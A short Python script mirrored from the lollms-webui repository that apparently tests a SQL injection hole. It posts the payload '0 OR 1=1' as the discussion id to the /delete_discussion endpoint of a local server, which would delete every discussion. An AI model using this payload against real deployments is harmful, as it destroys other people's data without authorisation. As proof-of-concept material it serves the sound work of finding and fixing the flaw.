mirror of
https://github.com/ParisNeo/lollms-webui.git
synced 2024-12-20 12:53:07 +00:00
11 lines
239 B
Python
11 lines
239 B
Python
import requests
|
|
|
|
IP_ADDRESS = "https://localhost" #replace me
|
|
PORT = 9600
|
|
|
|
data = {
|
|
"id": "0 OR 1=1",
|
|
"client_id": 0
|
|
}
|
|
response = requests.post(f"http://{IP_ADDRESS}:{str(PORT)}/delete_discussion", json=data)
|
|
print(response.json()) |